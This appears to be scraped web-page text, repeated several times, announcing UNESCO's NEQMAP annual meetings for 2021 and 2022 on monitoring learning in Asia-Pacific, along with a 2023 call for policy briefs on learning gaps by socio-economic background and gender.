The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the 